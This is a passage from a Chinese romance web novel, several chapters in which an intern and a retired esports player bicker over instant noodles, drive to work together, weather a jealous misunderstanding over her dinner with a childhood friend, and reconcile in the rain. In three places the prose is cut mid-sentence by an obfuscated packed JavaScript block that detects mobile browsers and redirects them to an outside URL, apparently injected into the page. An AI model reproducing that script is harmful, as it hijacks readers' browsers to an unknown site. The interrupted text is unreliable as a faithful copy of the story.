秦见夏被小红书的数据激励到了,一上午干劲十足,直接把两个需求全部做完,计划拖到下午再给mentor审核。 中午排队打饭时,秦见夏打开了抖音,心满意足地看到互动消息显示99+。 突然想起来,如果不小心被网暴了也会显示99+,又连忙直接打开主页视频的评论区。 结果,底下很多评论都在问「为什么Jichoo点了推荐」以及「为什么如如大王点了推荐」。 刷得秦见夏汗流浃背,先发微信给谈继秋:「你怎么点推荐了……」 谈继秋过了会回复:「我名义上作为你的前偶像,点个推荐不过分吧」 秦见夏:「这倒也是」 秦见夏:「没想到你热度还是这么高,我以为你糊了呢」 谈继秋:「你以为黄油一哥是跟你开玩笑的」 秦见夏回了个表情包,又去给小如和Dollar点了霸王茶姬,把订单截图发给谈继秋:「请他俩喝奶茶,麻烦你一会帮我取一下」 谈继秋:「你怎么这么冷漠」 谈继秋:「而且怎么只点了两杯?没有我的吗」 秦见夏:「你喝了更睡不着」 谈继秋:「那你请我喝别的」 谈继秋:「我不管,你不能区别对待」 秦见夏:「好吧/鞠躬」 秦见夏打好饭,又给小如发微信表达感谢:「谢谢小如姐给我点推荐以及教我搞自媒体TT大恩大德永世难忘,臣特以霸王茶姬奉上,如如大王一会去一楼拿就行/爱心/玫瑰/亲亲」 小如似乎还没醒,秦见夏便收起手机,和大发聊起了公司八卦,又去买了瑞幸才回工位上午休。 谈继秋的消息又弹出来:「吃药了吗」 秦见夏一边感叹这是一款家长型帅哥,一边从包里掏出药盒。 早上临下车前,谈继秋用一副“我就知道”的表情把药盒塞给秦见夏,九点半左右又像小助理一样提醒她吃药,一天三次,他倒是顿顿不忘。 秦见夏:「刚吃」 秦见夏:「图片」 秦见夏:「你们中午吃了什么好吃的?」 谈继秋拍来一张泡面的照片。 秦见夏:「???」 秦见夏:「你中午就吃这个???」 谈继秋又迅速拍过来一根火腿肠的照片。 秦见夏无语地打字:「你还不如吃外卖呢」 秦见夏:「你别告诉我你之前就天天吃泡面?」 谈继秋:「外卖点来点去没什么想吃的,就吃泡面了」 谈继秋:「能吃饱就行」 这家伙倒是对自己的身体一点也不在意。 秦见夏怒极反笑,噼里啪啦地打起字:「难怪你这么瘦,我真是服了你了,之前看你直播你就天天吃泡面,我还以为你是训练忙没时间吃饭,怎么退役了还在吃泡面?你是不是就爱虐自己啊谈继秋」 秦见夏:「人家美元哥都知道吃个猪脚饭,你可倒好」 秦见夏:「是不是该给你封个泡面王?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914369|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫电竞面神得了」 秦见夏气得开始阴阳怪气:「吃泡面吃出来个电竞颜王,你也是666」 秦见夏:「不是哥们你天天吃泡面你还健身,不要命了?」 谈继秋吓了一跳,连忙发语音回复:“你别生气,我没有顿顿吃泡面,只要我和Dollar或者Fine的时差对得上,我们都一起吃的,之前基地也有做饭阿姨,有时候太懒了才偶尔吃一次泡面……” 这个时候的秦见夏堪比福尔摩斯,飞快打字:「那我晚上回去问问美元哥?」 谈继秋光速滑跪:「我错了,我以后再也不吃泡面了」 秦见夏:「你还说我呢,你把自己照顾得更差」 她又生气又心疼地问:「你家人都不在晋海吗,怎么没人监督你」 谈继秋:「嗯,家姐在港城定居,父母在老家,我一个人在这边,平常我们不怎么联系」 秦见夏心里有些难受,一想到谈继秋在这里不好好吃饭也睡不好觉,眼眶像被刚刚的药片涩到了…… 然而,一想起这家伙月薪比她不知道多几个零呢,那股怜惜感又顿时收了回去。 怎么她一个牛马丫鬟还同情上资本家了! 秦见夏:「赚那么多钱住着别墅自己也会做饭结果吃泡面,真有你的:)」 秦见夏:「你是恨自己吗……」 谈继秋:「没有,在我眼里吃什么无所谓,能填饱肚子就行」 谈继秋:「泡面五分钟就能解决」 秦见夏彻底佩服:「难怪他们说你是人机……你怎么不直接打营养素啊」 “啪”的一声,象征着这个结构森严紧密的“大型机器”的开机。 十八楼所有灯光霎时亮起,其他同事午睡结束,纷纷开始伸懒腰打哈欠,在此起彼伏的声音中,秦见夏也说:「上班了,不跟你聊了,要是晚上让我发现你又吃泡面你就完了:)」 秦见夏补充:「那我将一周不搭理你」 谈继秋:「遵命/鞠躬」 谈继秋笑着吸完最后一口泡面,将纸盒扔进垃圾桶,准备一会丢出去毁尸灭迹。 心中仿佛有什么破土而出。 被人关心的滋味好像也不错。 长大后,连谈承春都不曾这么关心过他,秦见夏居然会在乎他的饮食健康。 出乎意料。 像是被天降彩票拍晕了脑袋。 谈继秋笑得眉飞色舞,正好与刚睡醒下楼的Dollar对上视线,喜悦之情戛然而止。 “怎么笑得这么妖孽,”Dollar揉了揉爆炸的头发,眼睛水肿成一条缝,“妹同意和你在一起了?” 谈继秋扭过头,准备开播:“没有。” “秦见夏训了我一顿,让我别总吃泡面。” 他的语气染上了几分自己意识不到的嘚瑟。 Dollar无语凝噎:“不是大哥,你是m吗?” “老子之前不也劝过你不要总吃泡面,你‘嗯’完扭头继续冲泡面,怎么换个人训你你就幸福上了?” “滚,你才是m。” 谈继秋不爽地戴上耳机:“你妹给你和嫂子点了霸王茶姬,管家送来了,自己去取。” “诶你这家伙怎么骂人呢——哦~原来是见夏妹妹请我们喝奶茶啊~某人取外卖这么不积极,是不是因为妹没有给你点啊?吃醋了?” “滚,再叫见夏妹妹就直播solo。” 60. 巧克力 下午六点,谈继秋准时等在A5门口接秦见夏下班。 秦见夏刚系上安全带,谈继秋就轻松地说:“储物格里给你准备了零食,随便吃。” 秦见夏闻言拉开储物格,嘟囔道:“怎么感觉像上学的时候一样……” “嘀咕什么呢?”谈继秋侧目看她,唇角微微扬起,“准备请我喝什么?” 秦见夏从包里掏出一罐百事可乐,面不改色:“特意给你带的。” 谈继秋:“……” “公司下午茶今天有可乐喝,我特意留到下班呢。” “你是不喜欢喝常温可乐吧,”谈继秋无奈地笑了两声,接过饮料放在一旁,随即启动车子,很淡地说了句,“怎么我的待遇还不如他们……” 秦见夏没听到,她忙着埋头扒拉零食。 谈继秋挑的零食倒是应有尽有,从辣条薯片到小蛋糕一应俱全。 她取出一颗费列罗,剥着糖纸说:“其实,你以后下班可以不用来接我的。我们有拼车群,属于公司补贴,开车的和坐车的都不用掏钱,我坐顺风车就行,免得你还麻烦,整得像家长来接小孩放学一样。” “可是来接你‘放学’,我这个‘家长’也很开心啊。” 谈继秋的语气是两人都不曾察觉到的温和。 甚至,他丝毫没意识到,他说话的口吻也越来越像秦见夏了。 余光里,副驾上的女孩大咧咧地将一整颗巧克力球塞进口腔,本就有些婴儿肥的侧脸更鼓了。 他不禁联想到她的蜡笔小新睡衣。 谈继秋忍住笑意,将手腕搭在方向盘上,感到心底也被压得很实。 他是一个对感情比较迟钝的人,他不知道什么算心动,什么算喜欢,什么又算作|爱。 他只是觉得,胸腔里是前所未有的满足,快要溢出来似的。 谈继秋将车速放得很慢,他真希望,这辆车能够一路开下去,车上只有他们两个人。 “也给我一颗。” 他轻声说。 秦见夏将费列罗含在嘴里,不嚼,她喜欢先把外面那层巧克力酱含化,感受它一丝一毫的变化。 闻言再度拉开储物格,也掏出一颗巧克力,思考着怎么递给他。 谈继秋在开车不太方便,秦见夏本想剥开直接喂给他,又自觉有些唐突,于是将打开的巧克力连带金纸一起交进他手心。 谈继秋慢条斯理地接过,也学着秦见夏那样,像吃糖一样含着。 真甜。 秦见夏知道他在学她,仓皇收回目光,内心泛起一阵涟漪。 “咔滋”一下,将巧克力嗑碎了。 他看起来确实乐在其中,一点也不嫌弃来回开车麻烦似的。 那就随他吧。 “那,我明天想吃淀粉肠。”秦见夏偏过头,得寸进尺地提要求。 谈继秋蹙眉:“淀粉肠不健康吧……” “那泡面健康吗?” “……不健康。” “我要两根辣的。” “好的,上帝大人。” 两人到一楼时,Dollar和小如已经在餐桌前等候开饭了,阿姨做了六菜一汤后事了拂衣去,一桌子家常菜满满登登,搞得秦见夏还有点不适应。 “你们怎么突然变成正常人了?”她瞠目结舌地问。 谈继秋拽着她去洗手,边走边说:“光我俩吃吃外卖泡面倒无所谓,不能让你们也跟着一起天天吃外卖啊。” “而且这个吃饭时间大家都比较统一。” 秦见夏又问:“那阿姨不留下来和我们一起吃吗?” “阿姨回家和她儿子孙女一起吃,”谈继秋耐心解释,“不要操心这么多啦,阿姨月薪比你高,快去吃饭。” 秦见夏:“……” 还没上桌,Dollar就开始阴阳怪气:“继军你现在说话越来越恶心心啦~还‘不要操心这么多辣’~” 小如用满钻美甲的手一把捏住他的嘴唇,扭头朝秦见夏笑道:“妹快来吃饭!” 秦见夏坐到小如身边,小如立刻给她夹了个凤爪:“快尝尝阿姨做的无骨凤爪,太好吃了!我刚刚偷吃了好几块!” 秦见夏吃后也是赞叹连连:“你们放着厨艺这么好的阿姨不用,简直是暴殄天物!” 小如已经点上菜了:“明天我要请阿姨做红烧排骨,夏夏你呢,你有什么爱吃的?” “我想吃糖醋里脊。”秦见夏顺势也点了道菜。 谈继秋又给她夹了一块无骨凤爪:“好,明天让阿姨做。” “楚子豪你看看人家秋神,”小如拽了拽Dollar的衣袖,“你啥子时候给老子夹过菜?” Dollar正端着米饭碗狂炫,闻言也当即放下碗,给小如夹了块鱼肉:“人家小情侣是热恋期,咱们老夫老妻的,不要这么在意面子工程嘞。” 被内涵面子工程的谈继秋:“……” 小如无语:“可你现在已经连面子工程都懒得做!” “……” 两人叽叽喳喳地互呛,秦见夏和谈继秋这边则岁月静好地饱餐一顿。 谈继秋还真把那罐可乐给喝了。 他们在晋海的日子,就这样平淡又吵闹地稳步进行着。 周内谈继秋风雨无阻地接送秦见夏上下班,下班回来大家就一起吃顿晚饭,偶尔还在院子里喝酒烤肉。 周末,谈继秋和Dollar又会陪同两个女生一起去探店打卡。 除了一些涉及安全的问题,谈继秋几乎从不与秦见夏发生争执,也不逼迫她确定关系。 所以,秦见夏觉得,这个人确实还不错。 如果mentor不让她负责额外的ip优化工作,以及每周五只有她一个实习生要开周会总结的话,秦见夏真的感觉——她已经过上小时候向往的电视剧里的生活。 “朋友在身边,喜欢的人在楼下。” 小如和Dollar现在最大的矛盾就是那台action4。 马上就快到七夕了,但秦见夏和谈继秋两人还是处于一种“友达以上恋人未满”的状态。 他俩有时候都怀疑,难道这场赌约两个人都要失败? 但见那对没确定关系的小情侣感情渐浓啊。 Dollar以多年辅助的经验推测,谈继秋肯定会选择在七夕当天讨要名分。 小如却持相反意见,她认为肯定是秦见夏率先捅破窗户纸,看谈继秋那闷葫芦样,不可能着急确定关系。 一切的变数都出在秦见夏的小竹马身上。 令所有人都没预料到的是——林居奕居然也来晋海了。 其实秦见夏自从打算和谈继秋好好相处后,就不再和林居奕主动发消息了。两人不在一个城市,林居奕也基本不联系她。 秦见夏和莫清谷更是直接断联,放假期间和大学所有人失去联系是大家心照不宣的规律。 她忙得都快把这几号人物忘在脑后了。 以至于林居奕忽然约秦见夏二十一号去东方明珠的旋转餐厅吃饭时,她是感到十分匪夷所思的。 好在他是提前两天给秦见夏发的消息,给了她一定的缓冲时间。 他还说自己已经入职晋海某五百强大厂,这次约会也是他妈妈的意思。 他妈以为秦见夏未来也打算留在晋海,那不如双方再多接触接触。 秦见夏便一头雾水地给自己的老妈致电问候,看她那边怎么说。 赵霞女士则表示,现在不流行包办婚姻,一切以她自己的意愿为准。 作为报喜不报忧的妈宝女,秦见夏在决定和谈继秋接触之后,也是毫无保留地将这个人介绍给了爸妈。 反正赵霞是对此人挺满意的,秦国海的意见暂且不提。 秦见夏纠结了一整个周末,思来想去,还是认为该把这件事告诉谈继秋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926286|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 瞒来瞒去太伤感情。 再说,也没什么好瞒的,她单身狗一条,算不上出轨。 于是,她在周天晚上敲开了谈继秋的房门。 谈继秋满心期待地打开门,看到秦见夏扭捏地站在门口,还以为她是打算表白。 说不清是在谁震耳欲聋的心跳声中,秦见夏小心翼翼地启齿:“我有个事想跟你说……” 她停顿了一下,交缠的呼吸声砸进两人心里。 谈继秋紧张到胸腔此起彼伏,手指下意识紧攥门框。 面上仍是一副寡淡的样子。 他一会该给出什么样的反应? 脸这个角度帅不帅? 是不是应该他抢先一步表白啊? 他们今天正式在一起了好像该有点仪式感庆祝一下? …… 在脑中正接连不断地蹦出无数个想法时,他听见她战战兢兢的声音:“我那个crush,说要周一晚上请我吃饭……” “你先别多想——我还是更喜欢你的!但他是我妈闺蜜的儿子,也才来晋海不久,而且人家只是说刚入职请我吃饭庆祝一下,也不算那种约会什么的,所以我打算去赴约,如果他有别的意思我会当场拒绝!” 她倒豆子似的一股脑说完,长舒一口气,见他愣在原地毫无反应,再度不好意思地补充道:“你明晚可以来东方明珠那边接我回家吗?” 这样说、应该、挺明显的吧。 请他接她回家,是不是还显得关系更亲密一点? 秦见夏感觉自己那简直点睛之笔。 谈继秋好像忽然听不懂中文了,迟钝地反应许久,才意识到她不是来跟自己表白的。 哦,她要去和别的男人单独吃饭…… 那个人还是她妈妈闺蜜的儿子…… 谈继秋的目光霎时掉下来,落在面前女孩的脸上。 她紧张到大气也不敢喘,只是小心地觑着他,等他回应。 巴掌大的脸上似乎只剩一双眼巴巴望向他的黑眸,那双眼里写满了不安。 他忽然感到心脏被蛰了一下,泛起细密又绵长的痛。 他让她很害怕吗? 可是这段时间,他已经竭尽全力,去温柔地和她相处了。 她没有先斩后奏隐瞒他,而且他们甚至都没确定关系,他怎么会不同意呢? 他又不是真来当她家长的。 她为什么这么小心翼翼? 谈继秋此刻已经无法判断,究竟是哪一点更让他难过。 也不知道现在该用什么样的姿态去面对她,只能僵硬地说:“我明晚有事……” 他实在害怕,她约会完下来扭头就告诉他——他们没戏了,她还是更喜欢那个crush。 那样他真的会崩溃。 秦见夏有感觉到他的不开心。 谈继秋面无表情地僵立在原地,像一只落水狗停止了挣扎。 心底的种子蠢蠢欲动。 她想推开那扇只打开一半的房门,去用力抱住他,告诉他不要难过,她真的很喜欢他。 可火种刚萌芽还没破壤之时,谈继秋便用双手搭着她的胳膊,将秦见夏轻轻推出房门那道边界线外。 门内一片昏顿,门外灯火通明。 她那点为数不多的勇气便被浇灭了。 在还未天光大亮的感情面前,谁都是胆小鬼。 “早点休息。” 话音刚落,关门声随之传来。 很轻的一道叩声,却重重地砸在她心上。 是她做错了吗? 她忍不住想。 秦见夏手足无措地盯着那道紧闭的房门,心也跟着沉到底,还有挥之不去的迷茫,搅得脑袋一片混沌。 最后的印象是,他那张苍白到脆弱的脸,以及低垂的漂亮眼尾。 这副画面似乎烫到她。 她也条件反射地退了一步。 61. 下小雨 “怎么会是你的错?” 小如边啃苹果边拍大腿,分析道:“首先,你没瞒他,他也可以不同意的对吧,但他默许了啊;其次,你也说了你和那个crush不是约会性质,只是单纯吃个饭,还让他去接你,那就算是约会也没啥,毕竟你俩又没正式确定关系,是他赌气说自己有事。” “周一晚上他能有个屁事?最后还不沟通清楚直接把你关门外了,罪加一等!” “一言不合就暴露本性,这种男人不能嫁。” 小如连连摆手,煞有其事地摇着头。 “可是……”秦见夏抱起腿,将下巴搭在膝盖上,“我感觉他很可怜啊。” “NoNoNo,”小如嚼着苹果说,“那位平时就一副活人微死的状态,属于是他的挂机动作了……你看他那个生无可恋的样子,也会有女生觉得他是美强惨破碎男对他心生怜悯的,想要倾听他原生家庭的委屈,但只要凑近,下一秒,他绝对会毫无感情地让你走开。” 秦见夏若有所思地点点头,那看来刚才还好没有直接扑上去告白,谈继秋可能真的会冷脸让她走开。 小如他们和谈继秋认识好几年了,她说的话准没错。 “那我现在怎么办啊?我还去不去赴约了!”秦见夏苦恼到抓头。 “去啊!”小如兴致高昂,“你俩又没在一起,接触接触别的男生咋啦?而且听你形容,那人还是个知根知底的海归?那更得去吃这顿饭了!难不成你还打算真就在谈继秋这一棵歪脖子树上吊死?” “总得多挂几次绳子才知道哪棵树上吊更舒服不是吗,试试呗。” “有道理,”秦见夏叹息一声,“那我明天还是去吧。” 翌日,秦见夏特意早起了十五分钟,想着昨晚和谈继秋闹了矛盾,他可能不会再去送她了,所以自己得骑共享单车上班。 没想到,来到一楼时,他仍然坐在沙发上等她,宛如一座雕塑。 秦见夏莫名觉得好笑,递了个台阶,主动打招呼:“早上好啊,秋神~” 结果,谈继秋只是淡淡地“嗯”了一声,抬起下巴示意桌上的蟹黄汤包。 秦见夏上周五说晋海没有好吃的蟹黄汤包,这周一他就给买来了。 ——还是在昨晚沟通不太愉快的情况下。 于是她笑容灿烂地道谢:“谢谢你~” 坐上车后,近距离打量谈继秋,才发现他的黑眼圈比从前还重,甚至有些憔悴的程度,忍不住关切道:“昨晚又没睡好吗?” “你说呢?” 谈继秋语气不明,脸上依旧弥漫着淡淡的死意。 他彻夜未眠,将他和秦见夏认识以来的大小事件都走马灯一般在脑子里过了一遍,总结出自己仍有不足,以及…… 他看向秦见夏浸在阳光里的姣好侧脸,心有不甘地想——他好像配不上她。 她积极、乐观、强大、礼貌、有主见,和任何人都能愉快相处。 而他消极、悲观、懦弱、自私、徒有其表,像是一副只有漂亮皮囊的空心人,连表达喜欢的方式都要搜攻略学习。 唯一的优势可能在脸上。 秦见夏倒是光盯着自己的脸,就能看得心花怒放。 其实,谈继秋也在无数个瞬间,悄悄将脸移到自认为最完美的弧度。 他想,既然她喜欢他的脸,那他就靠脸留住她的心,这没什么不好。 曾经的Jichoo十分厌恶“电竞花瓶”这个黑称,他认为这是对他职业生涯的亵渎。在实力至上的领域,容貌是原罪。 然而,此时的谈继秋却庆幸,自己恰好拥有一张秦见夏喜欢的脸。 这张脸甚至可以掩盖他性格上的不足,令她对他另眼相待。 秦见夏比任何人都关心他的睡眠问题。 这张脸上呈现出的任何状态,她总能在第一时间察觉到。 谈继秋想,她肯定是喜欢这张脸胜过自己这个人的。 理应知足。 本该知足。 可是,昨晚的他发现自己变得越来越贪婪。 他希望她永远不要害怕他、永远是她自己。 他希望她永远、将注意力放在他身上,比别人多一点。 如果可以再贪心一点的话,他希望获得秦见夏所有的、持续的、由表及里的关注。 他渴望得到她的偏爱。 而不是像现在这样,和对待小猫小狗小如都是一样的态度。 于他而言,那根本不是真正的喜欢。 世界上好看的皮囊太多了,他不想只做芸芸众生里的其中之一。 万一之后的某天,秦见夏再次像从前那样突然不喜欢他了,那他该怎么办? 精美的面具一但失去吸引力,他就只剩寡淡的内核。 寄居蟹失去外壳,迎接它的只有杀戮。 所以,他只好再度背上沉重的华丽螺壳,扬起自己并不熟悉的微笑,温和地对秦见夏道别:“过马路注意安全。” 秦见夏没察觉出任何异常,像往常那样笑着答应,然后关闭车门掏出手机准备打卡。 “啪”的一声落下,车内再度恢复熟悉的沉寂。 他曾经习以为常的沉寂。 阳光簌簌地洇在她身上,栗色长发随风吹动,展露出秦见夏独特的稚气。 她总是那个特别的,像是哪怕在红尘里打了个滚,一站起来还是最初的那个她,灵魂都比别人干净一些。 将他的贪婪和欲|望衬得如此可憎。 谈继秋忍不住将目光移回她身上。 秦见夏今天是有刻意打扮过的,他看得出来。 即便仍然没化妆,但也穿了一身淡蓝色的连衣裙,一改往日oversize短袖阔腿裤的牛马穿搭。 谈继秋远远看见她刷了工牌穿过闸机,内心一片荒芜。 不是慌乱,也不是迫切,只是本就寸草不生的领地更加寥落。 空得慌。 他双手搭在方向盘上微微蜷起,将头颅埋进臂弯。 阳光微凉。 - 秦见夏一边感叹自己懒惰到没有干净短袖可以换了,一边扯了扯连衣裙下摆。 心道还好当初赵霞给她往行李箱里塞了件裙子,不然就要穿着拼夕夕四十块钱、洗成oversize的烂短袖,登上东方明珠了。 她下班前用app下了前往东方明珠的拼车单,一直杳无音信到她都怀疑公司的拼车不是这个流程,好在等了十分钟左右,恰好等到顺路的车主同事。 然而,秦见夏没想到,周一下午居然这么拥堵! 半个小时的车程硬生生开了一个多小时才到,在车上甚至都和车主同事聊起王者版本T0射手究竟是谁了,早知道还不如挤地铁去。 于是首次单独和林居奕吃饭就以迟到十分钟开了头。 索性他并没有任何怨言。 林居奕订的是东方明珠的空中旋转餐厅,本意是打算欣赏晚霞的,可惜天公不作美,今天是个阴天。 而且两人下班再赶到这里,也看不上晚霞。 窗外夜色繁华,将林居奕的下垂狗狗眼凸显得十分明亮。 他兴奋地对秦见夏说:“见夏,Haven''tseenyouinawhile!” “你最近过得怎么样?” 看来外企真的爱说英语。 “挺好的,”秦见夏礼貌微笑,“你呢?在晋海觉得还习惯吗?” 林居奕的情绪很亢奋,似有喋喋不休的趋势:“非常!我很喜欢晋海,公司的同事们也都对我很不错,还有……” 秦见夏努力听着他熟悉的语气,罕见有些出神。 也不知道谈继秋消气了没。 他生气是真不搭理人,一整天都没主动给她发微信。 往常连顺手帮她叠了晾晒的衣服这种小事,都要主动“骚扰”她一下,搞得秦见夏觉得他有点像全职主夫。 谈继秋真的挺好的。 她是不是应该多哄哄他呀? 这顿饭的时间好漫长。 她嘴上连连回应,目光却望向下方的黄浦江,心想下次找个晴天也请谈继秋来这家餐厅看一次日落,这种开阔的风景他应该会喜欢吧…… “嘿,见夏——”林居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934306|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奕打断她的思绪,“你刚刚怎么在发呆?白天工作太累了吗?” “啊?”秦见夏连忙若无其事地抽回视线,尴尬道,“我在想工作上的事……你刚才讲到哪了?” 林居奕热情不减,健康的肤色使他看起来十分阳光开朗:“我说,既然咱们都打算留在晋海发展,不如也发展一下感情?” 秦见夏却愣住:“啊?我没说过我毕业要留在晋海啊,我要回南城的。” “比起晋海,其实我更喜欢我家那边,”秦见夏这才意识到地域问题,沉吟片刻,问,“如果咱们谈恋爱的话,你会选择跟我回南城吗?” 林居奕不假思索地给出答案:“不会。” “见夏,每个人都有每个人的追求。” 言外之意是,他不会因为她停下脚步。 这显然是秦见夏预料到的答案,可她心里还是隐隐有些失望。 连林居奕这种两家联系密切的发小都拒绝了,谈继秋肯定也不会同意的吧…… 然而秦见夏早已决定毕业后回到父母身边。 这里很好,但梧桐树早已和她长在一起,离了根,异乡土壤肥沃也是徒劳。 她从始至终就不是野心勃勃的人,没有什么宏大的愿望,不喜欢站在风口浪尖。 为数不多那点青春期对于晋海的向往与憧憬,也在日复一日的实习生涯中消散殆尽。 晋海的生活仿佛将她从中劈成两半,一半迷离在金璧辉煌,一半又落在家乡。 只有回到南城,她才完整。 唯一的变数是谈继秋。 先前日常的琐碎甜蜜令她沉浸其中,下意识忽略掉她和谈继秋之间的不稳定因素,比如实习结束后异地的问题,再比如双方家庭的问题等等…… 好像突然理解为什么毕业即分手了。 现实像一把突如其来的镰刀,迎面砍来时只能站在原地,任由它侵|略。 其实别无选择,要不就逃避,接着迎接下一次相同力度的挥刀。 要不就用手接住它。 对于秦见夏而言,只会默认最省力的那个。 像是文综的选择题,或许四个选项本身都是对的,但单选题必须填那个最正确的选项。 你或许会一头雾水地问老师为什么不选其他答案,可老师只能说:下次遇到这种题干就选这个,背过就行。 正确率高,效率高,能得分,只有小学生才会打破砂锅问到底,或者质疑题目的合理性。 267米高空下,多璀璨的灯光也不过是一个又一个的像素点。 这场饭局没有不欢而散,她对林居奕的好感度还没高到忘记礼貌的程度。 Crush是指瞬间的迷恋。 这种弹指间的情感代表不了什么,连喜欢也算不上,走两步路就随风散了。 何况是她这种忘性比较大的人,两天不联系就抛之脑后了。 只是道别前听到他说“本来周末还想约你来我家看电影”时,秦见夏对于林居奕最后的那点好感也荡然无存。 她不由得想,谈继秋就不会这么说。 她猜测,在林居奕眼里,自己应该和他dating过的那些女孩没什么区别。 Whocare. 心情复杂地走出这座地标性建筑后,秦见夏最担心的事情还是发生了——外面果然在下小雨。 可是她并没有带伞。 而且谈继秋这家伙居然就一点也不闻不问! 秦见夏不知道第多少次等待微信顶部转完圈,又不知道第多少次打开和他的对话框,再关闭、清走后台程序。 她攥着手机,瞥向潮湿的地面和倒映的模糊霓虹灯光,也任性地生气了。 男人吃醋会是这样的吗? 还是说,谈继秋其实一点也不在意她? 就给他一丁点危机感,直接装也不装了? 合着从前的耐心是装出来的? 秦见夏越想越愤怒,看到身边人都成双成对地打着伞,心里更怒火中烧。 她顿时抬起手机,噼里啪啦地打起字来:「谈继秋我们不合适,到此为止吧!」 62. 许愿烟 谈继秋其实七点左右就到旁边的停车场等着了。 秦见夏在和竹马相谈甚欢时,他翻出车里不知道谁剩下的半盒烟,一根接一根地抽。 也不开车窗,任由白雾将他淹没。 只有一点火星在漆黑里明明灭灭。 谈继秋仍旧没什么表情,好似麻木了。 他不知道以什么姿态对待秦见夏,也不知道以什么姿态对待自己。 自轻自厌的情绪将他笼罩,他沉在雾底,任凭尼古丁穿过他的身体。 烟蒂的温度烫到他的指尖,谈继秋缓慢地思考了很久,摁烟,打开车窗,想着一会要接她,不能让她闻二手烟。 快到九点时,他驱车驶向游客打车的位置,将车停在路边,打开秦见夏的聊天框,犹豫着要不要给她发个微信。 思来想去,还是抽出最后一根烟。 这还是根许愿烟,也可能是单纯谁把烟放反了。 总之,许愿烟此刻在他手上。 其实没那么玄学,无非就是新烟启封后倒放一根许个愿,留在最后抽完愿望会实现,小孩玩的东西,也可能是烟代的营销手法。 如果许愿有用,他十六岁那年就不至于辍学打电竞了。 谈继秋端详许久,还是将它合进手掌,抵在额心,闭眼停顿几秒,神态宛如虔诚的佛教徒。 打火机“啪”一声燃起的瞬间,谈继秋收到秦见夏的宣判—— 「谈继秋我们不合适,到此为止吧!」 他好像突然不认识字了,单手捧着手机,将这十三个字慢吞吞地咀嚼了一遍又一遍。 烟灰烫在手背,他浑然不觉。 果然—— 这什么许愿烟根本不准。 谈继秋静静地吸着烟,准备给她发定位。 接二连三的提示音又仿佛接连不断的石子砸进平静的湖面—— 秦见夏:「你这家伙真生气了?」 秦见夏:「真不来接我?」 秦见夏:「外面下雨了我没带伞」 秦见夏:「真不来接我?」 秦见夏:「如果你二十分钟内出现那我收回刚刚的话」 秦见夏:「一个小时也行……」 最后气极,她发:「那我今晚不回去了:)」 谈继秋这才活过来,连忙打字:「我就在附近,你在出口等我,我来接你」 他迅速将烟熄灭,拉开车门下了车才想起自己今天竟也忘记带伞。 这场雨下得真是一点也不讲道理。 秦见夏躲在路边屋檐下开始打车,心道也真是奇了怪,怎么今天一家卖伞的也遇不到。 她只好淋着雨一路走到打车点。 结果现在打车也不好打。 早知道就去坐地铁了…… 正发愁时,她瞥见马路对面眼熟的黑车里下来一个人。 那人穿着件朴素的白色短袖,刘海又有些长了,有几缕微微搭在上眼皮。 “谈继秋我在这里!” 秦见夏下意识喊他,声音盖过了手机提示音。 她看到那人眼睛一亮,精准捕捉到她的位置,当即向她飞奔而来。 秦见夏忽然觉得鼻腔泛酸。 这场大雨也淋湿她的眼睛。 脑海中纷扰的妄念悉数退去,只剩一个念头—— 如果不能和他在一起,也太可惜了。 秦见夏喜欢他喜欢到有点难过。 本以为能顺利牵手成功,最近连官宣文案都想好了,结果忘记自己只是来这边短期实习的。 脑中已经响起林忆莲的“我们好不容易,我们身不由己”了。 正伤春悲秋时,落入一个庞大的怀抱中。 “怎么哭了?”谈继秋艰涩道,“他是不是欺负你了?” 秦见夏顿时又气从中来,想推开他和他辩个彻底,却舍不得这个温热的怀抱。 可能是天气有些凉。 她只能闷闷地说:“是你在欺负我。” 谈继秋感觉她的眼泪是从自己心脏洒出去的血液,忍不住将她锢得更紧,嗅着她发间熟悉的气息,哽咽道:“秦见夏,究竟是、谁欺负谁啊?” “你讲不讲道理……”他思绪混乱,又连忙低声道歉,“对不起,我不该那样对你,其实我今晚没事,我是骗你的,你先别和他在一起,再给我一点时间可以吗,我只是不知道该怎么面对你了,我可以慢慢改……” “你先等等——”秦见夏打断他,“谁说我要和他在一起了?” 她试图挣脱他,却被抱得更紧。 怎么之前没觉得他整个人这么大只呢…… “我不是跟你说了我只是和他去吃顿饭吗?而且刚刚我已经拒绝他了,他居然还说什么‘本来想邀请我周末去他家里看电影’,真以为我什么都不懂吗!” 秦见夏说得义愤填膺,谈继秋心中却一片庆幸,感觉自己又在泉水复活了。 